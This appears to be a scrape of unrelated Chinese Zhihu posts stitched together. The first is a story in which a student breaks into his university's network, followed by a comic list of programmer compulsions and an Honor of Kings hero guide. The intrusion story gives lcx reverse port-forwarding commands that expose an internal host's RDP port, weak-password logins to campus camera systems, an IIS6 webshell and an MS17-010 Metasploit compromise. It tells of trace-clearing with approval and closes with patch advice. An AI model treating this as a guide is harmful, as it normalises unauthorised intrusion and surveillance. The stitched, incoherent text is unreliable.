192.168.0.0--192.168.255.255&br&lcx转发原理：&br&LCX一直被一些骇客用来连接远程内网的肉鸡很少有被正用，由于内部主机没有公网ip，访问公网靠NAT，所以就算木马服务端处于监听状态也无法被外网主机所连接。有时候我们想访问家里的处于内部网络的主机，通常我们会想一些办法，如安装个TEAMVIEW程序，如果有小路由控制权限，也可以在上面做个NAT映射，如果你没有控制权限，还可以有第三种办法，就是用LCX，用木马连通的工作原理，不过前提是你要有一个有公网IP主机。&br&运行有公网ip的主机上：lcx.exe -listen 51 8080&br&运行被控制端上，也就是内网主机：lcx.exe -slave 公网主机IP 51 127.0.0.1 3389&/blockquote&&p&&br&&/p&&blockquote&(1)运行有公网ip的主机上：lcx.exe -listen 51 8080,在公网主机上监听端口51,等待远程内部主机连接,而后面的8080是本机将51端口收到的数据转给本机的8080或将8080收到的数据交给51端口转发。(2)运行被控制端上的内网主机：lcx.exe -slave 公网主机IP 51 127.0.0.1 3389,该命令告诉程序要连接的公网地址与端口号,将程序收到的数据转交给本机的3389端口.&br&通信过程:&br&(1)内部主机使用本机内部ip随机端口连接公网主机ip端口51,通信成功并保持连接。(内部主机会经过NAT做IP与端口转换)&br&(2)当有主机访问公网ip与8080端口，程序将数据由8080转给51端口发送到已经建立连接的内部主机，内部主机程序把这份由随机端口获取到的数据转发给本机的3389，回流亦然。&/blockquote&&figure&&img src=&https://pic2.zhimg.com/50/v2-4a60f9ffd730b4942f53a_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1129& data-rawheight=&356& class=&origin_image zh-lightbox-thumb& width=&1129& data-original=&https://pic2.zhimg.com/50/v2-4a60f9ffd730b4942f53a_r.jpg&&&/figure&&p&然后，他向内网主机上传了RouterScan和HSCAN，前者用来扫描摄像头等IOT设备，后者用来扫描内网脆弱（弱口令）设备&/p&&p&Hscan扫描到了同网段有IIS6服务器，名称为JWCweb（服务器系统对应为windows2003）&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-0c9ed7b5e2ddd640d620d_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&488& data-rawheight=&581& class=&origin_image zh-lightbox-thumb& width=&488& data-original=&https://pic1.zhimg.com/50/v2-0c9ed7b5e2ddd640d620d_r.jpg&&&/figure&&p&他在网上找了下资料，发现IIS6有个写权限漏洞可以利用，并对10.8.1.15服务器进行了尝试，随后，他成功取得了一个webshell&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-993c9de08f966_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&842& data-rawheight=&554& class=&origin_image zh-lightbox-thumb& width=&842& data-original=&https://pic2.zhimg.com/50/v2-993c9de08f966_r.jpg&&&/figure&&p&结果令他大吃一惊：这台服务器是教务管理系统（正方）所在服务器&/p&&p&然而服务器进程中发现了安全狗相关进程，放弃了提权操作，这时routerscan扫描到10.4.*网段时，发现了大批DVR设备&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-2e1e38cd45a67b5cb4b544c6b58ecbbd_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&645& data-rawheight=&441& class=&origin_image zh-lightbox-thumb& width=&645& data-original=&https://pic3.zhimg.com/50/v2-2e1e38cd45a67b5cb4b544c6b58ecbbd_r.jpg&&&/figure&&p&黑客H随便挑了个网址用弱密码登陆后发现是M校的摄像头&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-c262cdb63f48cbabf1035087ffa455dd_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&860& data-rawheight=&478& class=&origin_image zh-lightbox-thumb& width=&860& data-original=&https://pic1.zhimg.com/50/v2-c262cdb63f48cbabf1035087ffa455dd_r.jpg&&&/figure&&p&嘶。。。平常在走廊打闹调戏良家妹子的不端行为岂不是裸于人下&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-6ecadb0d21fe0808d8ab_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&552& data-rawheight=&375& class=&origin_image zh-lightbox-thumb& width=&552& data-original=&https://pic4.zhimg.com/50/v2-6ecadb0d21fe0808d8ab_r.jpg&&&/figure&&p&接着他又发现了DSS（大华安防平台）、海康威视备份系统服务器、电费记录平台等大量设备&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-91cf46d734dbc734d71f2_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&922& data-rawheight=&557& class=&origin_image zh-lightbox-thumb& width=&922& data-original=&https://pic4.zhimg.com/50/v2-91cf46d734dbc734d71f2_r.jpg&&&/figure&&figure&&img src=&https://pic4.zhimg.com/50/v2-aed09bad1b0d3_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&736& data-rawheight=&469& class=&origin_image zh-lightbox-thumb& width=&736& data-original=&https://pic4.zhimg.com/50/v2-aed09bad1b0d3_r.jpg&&&/figure&&figure&&img src=&https://pic4.zhimg.com/50/v2-4a4a84d9e19bd05777bc60_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1327& data-rawheight=&500& class=&origin_image zh-lightbox-thumb& width=&1327& data-original=&https://pic4.zhimg.com/50/v2-4a4a84d9e19bd05777bc60_r.jpg&&&/figure&&p&在DSS平台用弱口令（admin）登陆后，发现能控制所有摄像头&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-a909d76a05fdef38fb3ae70d31c39568_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1066& data-rawheight=&540& class=&origin_image zh-lightbox-thumb& width=&1066& data-original=&https://pic4.zhimg.com/50/v2-a909d76a05fdef38fb3ae70d31c39568_r.jpg&&&/figure&&p&由于routerscan设置的同时扫描445端口，在扫描列表中也出现了大批次暴露445端口的设备&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-5e51adf2c3ee4fb0cbfeab_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&521& data-rawheight=&470& class=&origin_image zh-lightbox-thumb& width=&521& data-original=&https://pic4.zhimg.com/50/v2-5e51adf2c3ee4fb0cbfeab_r.jpg&&&/figure&&p&黑客H微微一笑，将电脑网络切换到校园内网并且开启了虚拟机中的kali linux，由于系统很长时间没有更新过，所以先执行了apt-get update&apt-get upgrade、apt-get dist-upgrade 经过漫长的等待后，kalilinux更新完成，他开启了MSF，搜索MS17-010（详细教程见Demon表哥的文章：&a href=&//link.zhihu.com/?target=https%3A//bbs.ichunqiu.com/thread-.html& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&bbs.ichunqiu.com/thread&/span&&span class=&invisible&&-.html&/span&&span class=&ellipsis&&&/span&&/a&）&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-2fafa222ae37e_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&673& data-rawheight=&479& class=&origin_image zh-lightbox-thumb& width=&673& data-original=&https://pic4.zhimg.com/50/v2-2fafa222ae37e_r.jpg&&&/figure&&p&&br&&/p&&p&他先用了扫描模块进行了扫描&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-c046ba354dddc9dff52330c3faabdbfa_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&661& data-rawheight=&519& class=&origin_image zh-lightbox-thumb& width=&661& data-original=&https://pic2.zhimg.com/50/v2-c046ba354dddc9dff52330c3faabdbfa_r.jpg&&&/figure&&p&然后用了攻击模块，成功的得到了一个shell并且成功提权&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-71bc77e2dca_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&542& data-rawheight=&533& class=&origin_image zh-lightbox-thumb& width=&542& data-original=&https://pic3.zhimg.com/50/v2-71bc77e2dca_r.jpg&&&/figure&&p&然后他看了下这台主机的访问日志&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-4dc6e1e0a30f98f73bffa8_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&683& data-rawheight=&562& class=&origin_image zh-lightbox-thumb& width=&683& data-original=&https://pic4.zhimg.com/50/v2-4dc6e1e0a30f98f73bffa8_r.jpg&&&/figure&&figure&&img src=&https://pic1.zhimg.com/50/v2-bdde5da72fce_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&610& data-rawheight=&361& class=&origin_image zh-lightbox-thumb& width=&610& data-original=&https://pic1.zhimg.com/50/v2-bdde5da72fce_r.jpg&&&/figure&&p&亮点来了！看上图！&/p&&p&“尼玛。。。这管理员口味够重的。。。竟然在工作时间利用学校设备浏览不可告人的网站。。。&/p&&p&”随后H成功连接了该服务器，看了看配置和网站后，也没有再发个表白信的想法，擦擦屁股后（清理痕迹后）就走人了，第二天将详细过程提交到了M高校有关部门&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-efec14f9eeb68_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&674& data-rawheight=&625& class=&origin_image zh-lightbox-thumb& width=&674& data-original=&https://pic2.zhimg.com/50/v2-efec14f9eeb68_r.jpg&&&/figure&&p&&b&结局：&/b&&/p&&p&有关部门经过考证审核后非常感谢H的反馈，当天便修复了漏洞并开除了管理人员。&/p&&p&对于H的英勇事迹当然给予了全校通报~批评。。。并督促辅导员加强了对H的思想教育。&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-a95c7c1ecf49f98abaff40a_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&117& data-rawheight=&182& class=&content_image& width=&117&&&/figure&&p&当然了，H也因此事全校出名，并成功追到了他的女神。&/p&&p&&br&&/p&&p&&b&反思与总结&/b&&/p&&p&1、H之所以能成功渗透M高校网站，原因有3：&/p&&p&（1）、M高校运维管理人员对网站安全、服务器安全的不重视，使其能轻而易举的拿到webshell并且以system权限执行命令&/p&&p&（2）、M高校对windows系统零日漏洞不重视，使黑客H能在补丁发布后的3个月后依旧能顺利拿下内网34台服务器。&/p&&p&（3）、内网环境&/p&&p&2、解决方案&/p&&p&1、服务器安装防护软件（如安全狗等），定期扫描影响网站运行的安全漏洞（如用AWVS等软件）&/p&&p&2、跟群里在企业的运维了解后，案例中的事件不在少数，尽快打补丁或关闭445、137、139等高危端口（卸载网络客户端、文件共享服务）&/p&&blockquote&1、关闭445、139等端口，方法详见：&a href=&//link.zhihu.com/?target=http%3A//mp.weixin.qq.com/s/7kArJcKJGIZtBH1tKjQ-uA2& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&mp.weixin.qq.com/s/7kAr&/span&&span class=&invisible&&JcKJGIZtBH1tKjQ-uA2&/span&&span class=&ellipsis&&&/span&&/a&、下载并更新补丁，及时修复漏洞（目前微软已经紧急发布XP、Win8、Windows server2003等系统补丁，已经支持所有主流系统，请立即更新）。&br&XP、Windows Server 2003、win8等系统访问：&a href=&//link.zhihu.com/?target=http%3A//www.catalog.update.microsoft.com/Search.aspx%3Fq%3DKB4012598& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://www.&/span&&span class=&visible&&catalog.update.microsoft.com&/span&&span class=&invisible&&/Search.aspx?q=KB4012598&/span&&span class=&ellipsis&&&/span&&/a&&br&Win7、win8.1、Windows Server 2008、Windows 10, Windows Server 2016等系统访问： &a href=&//link.zhihu.com/?target=https%3A//technet.microsoft.com/zh& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&technet.microsoft.com/z&/span&&span class=&invisible&&h&/span&&span class=&ellipsis&&&/span&&/a& ... urity/ms17-010.aspx&/blockquote&&p&3、内网做网段隔离，如果一台主机被攻破，这将是保护网络设施的最后一道防线&/p&&p&4、国徽CMS（PHP168）厂商在源码中应进行文件后缀名过滤、登录密码写入数据库时应进行加密处理，避免明文出现&/p&&p&&br&&/p&&h2&&b&哦对了，H是在这里成为一名白帽黑客的&/b&&/h2&&a href=&//link.zhihu.com/?target=https%3A//www.ichunqiu.com/zhihu%3Ffrom%3Dzh& data-draft-node=&block& data-draft-type=&link-card& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&你想了解的炫酷白帽黑客技能都在这！&/a&&p&&br&&/p&&p&&b&再推荐我的一个回答：&/b&&/p&&a href=&https://www.zhihu.com/question//answer/& data-draft-node=&block& data-draft-type=&link-card& data-image=&https://pic3.zhimg.com/80/v2-12dc29ea5c056f7420ea_ipico.jpg& data-image-width=&1270& data-image-height=&1459& class=&internal&&黑客如何学起？&/a&
无聊作死黑了学校官网…发现了管理员的秘密……黑客H是M高校的一名普通学生，对于一名计算机系的大学生来说，生活总是显得枯燥又无聊。专业的课程再简单不过了，每次上课H总是偷偷的学黑客技术，他对黑客的世界感到着迷。一天，刚刚刷完夏洛克第三季的H又无…
&p&程序猿可能是所有工种当中强迫症最多的群体，由于一个不经意的大小写字符疏忽或者空格字符的差异，都可能导致严重的BUG或程序失败，所以很多程序猿在工作当中慢慢养成了近乎偏执的编程习惯，也就是强迫症。程序猿都会有哪些常见的强迫症行为？今天，小慕就带大伙儿来梳理一下，看看你有没有中招！&/p&&p&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-64357ecfbf6a9a6c2e1ce_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&297& data-rawheight=&284& class=&content_image& width=&297&&&/figure&&p&&br&&/p&&p&&b&1、注释变态&/b&&/p&&p&&br&&/p&&p&注释一直以来都是一个最具争议性的编程问题。有人认为要有清晰的注释，有人认为好的程序是自解释的，无需注释。对大多数程序猿来说，除了遵循公司的注释标准，通常仅仅在特别重要或者不好理解的语句上才会注释。但是总有那么两种牛掰的人，一种是在每个可注释的地方都有注释，另一种就是在任何时候都不写任何注释，你问他为嘛这样，他会轻描淡写地来一句“我习惯了”，好吧，习惯与强迫症不分家。 &/p&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-4bbc3dd2dca2bc_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&232& data-rawheight=&232& class=&content_image& width=&232&&&/figure&&p&&br&&/p&&p&&b&2、字体强迫症&/b&&/p&&p&&br&&/p&&p&小慕曾经见过一个程序猿，由于长时间的编程生涯，患上了编程字体强迫症。每次看到别人的代码总会欠揍地用他那大碴子味十足的口音来这么一句：“哎哟~看的我两眼昏花啊，你能换个好看点的字体吗？”对编程字体有着超强悍偏执的强迫症倾向——必须把每个编辑器、终端的字体调节成他自己喜欢的Monaco字体才能安心编程，所以无论是在mac还是windows编程，他首先要做的第一件事情就是替换字体。Emmmmm这确实是件非常重要的事，因为小慕也是这样的人…….&/p&&p&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-04da90eb9e2b0ae88bb121_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&261& data-rawheight=&261& class=&content_image& width=&261&&&/figure&&p&&br&&/p&&p&&b&3、IDE圣战&/b&&/p&&p&&br&&/p&&p&江湖没有争斗的话还叫江湖吗？还会有大虾出现吗？使用什么样的IDE，可能是与编程人士交流最危险的话题。这里Vim党、emac党、VS党、IntelliJ IDEA党、Sublime党甚至还有notepad党，可以说是热闹非凡。&/p&&p&&br&&/p&&p&选择什么样的IDE已经成为程序猿们的一种信仰，你可以鄙视我的编程，但你不能侮辱我选择的IDE，等等，背景还得再调成我喜欢的颜色。如果你不是一个随便的人，如果你必须使用某种已经习惯的IDE才能安心做码农，小慕恭喜你，你已经踏进强迫症大门，成为IDE圣战江湖里一名忠诚的勇士了！&/p&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-70dc12bbcd_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&271& data-rawheight=&275& class=&content_image& width=&271&&&/figure&&p&&br&&/p&&p&&b&4、空格强迫症&/b&&/p&&p&&br&&/p&&p&如同男孩子从小到大都在女孩堆儿里玩，长大后容易变成妇女之友一样，如果你写Python程序写的多了，很有可能会患上空格强迫症，以致于在写任何其他语言程序的时候，都喜欢把缩进由TAB换成空格。其实在除了Python之外的大多数语言里，两者是可以通用的，不过在接触Python以后，他们更喜欢用空格。&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-f83a8fd0ec0e518a12e5_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&520& data-rawheight=&342& class=&origin_image zh-lightbox-thumb& width=&520& data-original=&https://pic4.zhimg.com/50/v2-f83a8fd0ec0e518a12e5_r.jpg&&&/figure&&p&&br&&/p&&p&&b&5、不断的beautify code&/b&&/p&&p&&br&&/p&&p&完美主义者，Beautiful code强迫症，每隔一分钟就使用编辑器的格式化代码功能美化代码；总觉得还可以用更好的代码，不断地推翻已有成果从头来过。狂热的完美代码爱好者，如果没有满意的代码，整个项目就无法往前推进，为了这点儿追求，熬夜赶项目进度几乎是这类程序猿的常态。“看成败人生豪迈，只不过是从头再来”就是他们的激励之歌。&/p&&p&&br&&/p&&p&小慕一直觉得完美主义没有错，如果一定要说有错，那就是过于追求完美导致的拖延症并发症！如果你是个视金钱若粪土的程序猿，可以忽略工资的存在（因为总是拖延项目进度，被BOSS扣光了），小慕支持你在代码的江湖登峰造极，令狐冲不就是凭借一套独孤九剑独步武林、娶了江湖美女任盈盈嘛，你一定会更强！&/p&&p&&br&&/p&&p&&b&6、不断手动CTRL+S&/b&&/p&&p&&br&&/p&&p&曾经写代码过程中断电或者系统崩溃，好不容易写的代码功亏一篑，从此留下后遗症，极其没有安全感：总是担心万一系统崩溃怎么办，万一断电怎么办，设置成每隔10S就自动保存，在写任何长一点的代码的时候，包括网页，都会下意识地使用CTRL+S手动保存。这没毛病，可问题是必须按三次CTRL+S才能安心！一段代码下来，无数次CTRL+S，堪比曾经被学校老师忽悠着买的复读机啊！这可真是就算是自带保存功能的编辑机器都无法拯救的强迫症！&/p&&p&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-50df17b37a_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&229& data-rawheight=&229& class=&content_image& width=&229&&&/figure&&p&&br&&/p&&p&&b&7、专属背景强迫症&/b&&/p&&p&&br&&/p&&p&如果一个程序猿买衣服一直买黑色的，配饰是黑色的，使用的物品也是黑色的，那么他的IDE的背景一定也是黑色的。除了黑色背景，他会找不到写代码的状态。所以，好多程序猿在写任何代码之前，一定要把任何IDE的背景调成专属的背景色才可以，一点点色差都不行。其实，不仅程序猿，很多人也都这样的症状吧？电脑桌面壁纸只觉得现在这张最好看，换了电脑也要把电脑桌面壁纸换成自己习惯的，这也是背景强迫症的表现。&/p&&p&&br&&/p&&p&&b&8、多余空白不能忍&/b&&/p&&p&&br&&/p&&p&代码一定要美观，不能有不相关的因素出现，包括空白。看着别人发过来的代码，内心无比痛楚纠结，暗暗叫骂，“怎么会有这么多空白？写代码的程序猿在想什么？”必须移除多余空白才能满意。虽然不移除对程序没啥影响，但对心情有极大影响。这样的习惯绝对是完美强迫症的一种，不要狡辩，狡辩就是掩饰，掩饰就是事实，强迫症的帽子你戴定了，没有商量的余地。&/p&&p&&br&&/p&&p&&b&9、严格遵循80栏字符限制强迫症&/b&&/p&&p&&br&&/p&&p&不能容忍任何一行语句的长度超过80字符限制，如果显示器的分辨是2k的，也不能容忍编辑器后面有大量的空白。这种大屏幕电脑高分辨率电脑显示器，一行可输入的字符数远高于80字符时，那对这些程序猿简直就是地狱般的折磨；在语句长度不超过80字符与不能有太大留白之间百般纠结，千方取舍，万般痛苦地做决定。即便某些情况下分行存在技术难度，也执着的寻求解决方案，永远相信自己一定能够找出解决方案。&/p&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-05f4de7fc6f92d3c34bb07bf142f6eb4_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&351& data-rawheight=&220& class=&content_image& width=&351&&&/figure&&p&&br&&/p&&p&其实，在程序猿的世界里，有强迫症都很正常啦，适度适量的强迫症是工和严谨的表现，是在与Bug的长期斗争中而形成的，甚至程序猿们可以骄傲地高声呼喊，没有强迫症的程序猿不是好程序猿。&/p&&p&&br&&/p&&p&不过话又说回来，有些强迫症益于工作，也有些会拖累工作，取舍适当方是完美的关键，这其中火候的把握可以说是一门需要自己慢慢探索的一门艺术了。&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-6f7975baea9a7bea67fc02d_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&204& data-rawheight=&206& class=&content_image& width=&204&&&/figure&&p&&br&&/p&&hr&&p&&b&更多慕课网相关回答：&/b&&/p&&p&&a href=&https://www.zhihu.com/question//answer/& class=&internal&&程序员找不到对象到底是为什么？&/a&&/p&&p&&a href=&https://www.zhihu.com/question//answer/& class=&internal&&如何确定自己是否适合做程序员？&/a&&/p&&p&&a href=&https://www.zhihu.com/question//answer/& class=&internal&&编程真的能改变人的思维方式吗？&/a&&/p&&p&&a href=&https://www.zhihu.com/question//answer/& class=&internal&&编程中，有哪些好的习惯从一开始就值得坚持？&/a&&/p&&p&&a href=&https://www.zhihu.com/question//answer/& class=&internal&&有哪些好笑的关于程序员的笑话？&/a&&/p&
程序猿可能是所有工种当中强迫症最多的群体，由于一个不经意的大小写字符疏忽或者空格字符的差异，都可能导致严重的BUG或程序失败，所以很多程序猿在工作当中慢慢养成了近乎偏执的编程习惯，也就是强迫症。程序猿都会有哪些常见的强迫症行为？今天，小慕就…
&p&10月4号修改:&/p&&p&饿，说好暂时不更的，但有人私信到反甲虽然更便宜但合成不够平滑，经济在手但不能买装备。&/p&&p&所以整体出装依然是按照9月28日写的顺序来，但我觉得更好的解决方案是把反甲换成守护者之铠，这样做的好处是，前期并不需要做的那么肉，守护者之凯之后你能能自由选择合成冰甲或不详。&/p&&p&如果控多你就适当时期卖掉cd鞋，换成任性鞋，并且守护者之凯合成冰甲弥补卖掉cd鞋冷却不足；如果控不多或者大顺风可以把守护者之凯直接合成不详征兆。&/p&&p&当然老思路直接合成反甲也是可以的，只是守护者之凯更灵活，你们根据局势自行选择吧，中秋快乐(●—●)&/p&&p&————手机打的分割线———————————&/p&&p&答案破千了，这一季拿到王者印记后，虽然打算暂时退游了，但很多人私信我谢谢我拿到了各种三杀 ，四杀，我还是想分享一下新赛季的貂蝉的一些方向。原答案有很多可以细说的地方，以及文章的一些啰嗦，重复我也都不打算修改了。&/p&&p&9月28日更新:&/p&&p&近期游戏改版，一共是三个地方，正式服貂蝉的2技能随等级提升蓝耗减少，貂蝉的基础移速从原答案的340提升到了350，cd鞋从10冷却提升到了15冷却。而且体验服貂蝉的基础技能伤害提升，技能ap加成略微减小。&/p&&p&所以从这几个方面来看，貂蝉以后的方向依然是半肉，但有了出装的更优解，绿色符文依然用10冷却，第一件出装出cd鞋，第二件出宝典先不合成血书，第三件大面具，之后合成小血书，第四件反甲，实在两个射手才出不详，之后合成大血书，第五件分两种，对面有1人以上出法抗装就出法穿杖，只有一人或没人出法抗直接出贤者法杖，最后一件装备，法师如是爆发秒人型，请出魔女，像诸葛亮，芈月这种消耗收割型就出不死鸟之眼，法师菜鸡就直接出大帽子。&/p&&p&讲下思路，玩貂蝉讲究要快速成型，即满cd和大面具，成型后的貂蝉和没成型的貂蝉区别就像对面的打野和你们家的打野，所以这样做是性价比最高的出装，15cd鞋子cd+宝典+符文+大面具一共38cd，即使在游戏前期也再也不用面对玩貂蝉的终极哲学问题——如何求沙币打野给你蓝。&/p&&p&出反甲不出冰甲是因为冰甲的20cd是花了钱的，你已经不用拿蓝都满cd了就别花这冤枉钱了，比反甲贵300还没反甲反伤多，没他护甲厚，触发buff还有cd，这样可以很快做出物防装，猴子、荆轲敢单独切你，我想问他选择怎么死。&/p&&p&第三件输出装不是固定的，金身和梦魇在控多或回血英雄多的局是需要出的。回响的cd机制和面具不同，我在评论区讲的很清楚了，回响只适合纯输出貂蝉，最多只适合星耀以下低端局虐虐菜。&/p&&p&符文方面技术党继续用5狩猎5贪婪，可选10贪婪，因为貂蝉移速提升了，其他没有变化。蓝绿都吸血的纯吸血符文我试过一段时间，不太顺手，后期可以，但成型慢了一件装备，没有10冷却符文4级前少杀好多诸葛亮高渐离安琪拉妲己火舞小乔王昭君。&/p&&p&换不换任性鞋自己决定，但记得补满cd，后期拿蓝更是概率小&/p&&p&之所以这么喜欢貂蝉是因为她是这些英雄里操作最爽的，又没露娜那么烧脑，玩个游戏还要先学会数数。只要学会跟狄仁杰一样闷声发大财后期就是个永动机，别的法师怕刺客抓，我主动去抓刺客，被官方矫枉过正的强度和被一些不合理的大神出装糊弄是她的原罪，但不代表她应该坐冷板凳，可以负责任的讲王者局这个英雄都是可以上的，其他局更不在话下，如果你打排位想玩貂蝉有人不让你玩，让你选其他的法师，那就让他go fuck himself&/p&&p&好啦，以后长期停更，我发现王者荣耀正在摧毁我对正常生活的热情，一有空闲我甚至不再像以前一样去读一本喜欢的书，去看一部一直想看的电影，而是一打一下午停不下来的王者荣耀，它成为我不再对任何事物付出深度思考的保护伞，面对复杂的学习和工作总是先打一盘王者荣耀再说吧，我很不喜欢这样被游戏玩的状态，先卸载了，下个赛季末再见吧，祝好。&/p&&p&&br&&/p&&p&———————手机怎么打分割线——————&/p&&p&以下原答案:&/p&&p&五季王者，千场貂蝉不邀自来，随便看了下一些答案，基本都是百度知道流，稍微会玩一点貂蝉的看了跟没看一样，所以我这个答案只谈貂蝉的进阶。6次5杀，56次四杀我婵镇楼&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-b19d4fd7e29b0bb6d14fd2c2dc7bf145_b.jpg& data-rawwidth=&1920& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&https://pic3.zhimg.com/50/v2-b19d4fd7e29b0bb6d14fd2c2dc7bf145_r.jpg&&&/figure&&p&&br&&/p&&p&知乎学习氛围重，所谓读书读经典，那么想要玩好一个英雄效率最高的学习方法就是站在巨人的肩膀上去学，看过各种教学总结出一些列貂蝉的实战技巧，先上干货，聊貂蝉的装备符文都没人爱看，放后面吧。&/p&&p&一、实战技巧&/p&&p&&b&tips1：利用进出草丛让敌方丢失目标&/b&&/p&&p&这一点是貂蝉，露娜，老版花木兰的小技巧，也直接就是貂蝉是否老练的分水岭，来自佛中的貂蝉王者教室， 学会卡视野，利用进出草丛让敌方丢失目标 ，图中这两个位置用的好可以无伤打出成吨伤害，因为敌方会丢失视野，当然，单片草丛一样能用，因为开大后冷却很快，即使是上下路单片草丛也可以进出草丛丢失对方视野，承受最小伤害打出最大输出，并且让对方一脸懵逼。&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-1b9fb93ecc171731cbd83ff20f1de04b_b.jpg& data-rawwidth=&1380& data-rawheight=&657& class=&origin_image zh-lightbox-thumb& width=&1380& data-original=&https://pic3.zhimg.com/50/v2-1b9fb93ecc171731cbd83ff20f1de04b_r.jpg&&&/figure&&p&&br&&/p&&p&&b&tip2：后拉前推&/b&&/p&&p&来自张大仙王者必修课的教学，我们很多时候231一放，接着2追人，人就跑出大招圈了，所以想要充分利用231的控制，又不想浪费大招，那么就要学会后拉前推，就是在你按着2想往前继续粘人的时候，方向键一直往反方向拉。如图明明刘邦在往前跑，本来小萌新都会直接向前2，但正确的处理方法是方向键往回拉，再2技能往前推，这么做的目的是确保你即使2出去你还在大招减冷却的圈里，可以多粘一次，这点看似简单，但我看直播很多大牛主播都是直接2出圈，不会往回拉走位，所以围绕大招这个灵魂技能输出才是貂蝉输出的核心方式啊。&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-9c5b4d60a8b66f92c3f42e_b.jpg& data-rawwidth=&1009& data-rawheight=&502& class=&origin_image zh-lightbox-thumb& width=&1009& data-original=&https://pic4.zhimg.com/50/v2-9c5b4d60a8b66f92c3f42e_r.jpg&&&/figure&&p&&br&&/p&&p&&b&tips3：不要第一件出血书&/b&&/p&&p&根据王者荣耀的吸血机制，真实伤害不吸血，法术吸血还有吸血衰减，所以貂蝉本身前期少的可怜的法术技能伤害，还要被衰减，不信自己去训练营看，虽然会看到有不错的吸血量，但其实显示的吸血是你被动的吸血效果，而并非血书提供的法术吸血效果，所以第一件出吸血书很大程度上是一种不合理的浪费。那么什么时候出血书呢，答案是在出完大面具之后，因为大面具的被动法术伤害也是吸血的，这个后面谈装备时再详谈。&/p&&p&&br&&/p&&p&&b&tips4：保持墙后输出和不断进出墙输出&/b&&/p&&p&在有些地形敌人较多，你可以让队友顶伤害，一直墙后21连，在一些地形比如高地，你可以不断进出墙进行输出，虽然不会让对方丢失视野，可以保证自身安全，抓不到你灵活的身影，这点很简单，但很少有人在实战中去利用，比如中路的墙，上高地的墙，都可以不断进出穿墙来减少一些不能穿墙的英雄对你的伤害，并打乱他们输出。&/p&&p&&b&tips5：中路对线不要清兵压线打&/b&&/p&&p&以前我只有玩火舞不清兵压线打，现在才发现貂蝉也应该这样打，2级以后对线不要忙着把兵清掉，要充分发挥貂蝉2级的优势，不清掉兵线自己站在中路中间压线，就是不打兵，对方中单只要敢出塔露头就是21连，不断消耗，很容易拿人头建立优势。&/p&&p&&b&tips6：利用小兵叠被动&/b&&/p&&p&稍微高端点的局对面都知道打貂蝉不站一起，那是因为他们看到自己身上有貂蝉被动的印记，便下意识地站开，那么王者里貂蝉可以给小兵叠上印记，但无法上色，所以可以利用这一点，无论是在敌方推高地或自己上高地，先给小兵用1技能叠加被动然后各种爆炸，貂蝉地被动是aoe范围伤害，所以当多个集中的小兵爆炸真实伤害是成倍叠加的，所以有时候敌方水晶出来一片小兵，我什么也没做，就1一下小兵，然后23一连，一个满血肉就死了，这点在solo场简直是制胜关键。&/p&&p&&b&tips7：貂蝉2技能为瞬间消失，即无敌0.3s&/b&&/p&&p&这个老生常谈了，但还是提一下吧，这个技能的机制和李白的二技能无敌机制是一样的，都是瞬间消失，但时长只是和老版芈月的2技能一样，无敌的时长太短了，需要练习，可以躲妲己的爱心，诸葛亮的连环夺命call，甚至二郎神的狗。&/p&&p&&b&tips8：5人团不要急着用2技能，不要用不要用不要用！&/b&&/p&&p&对面都血量健康你2技能无论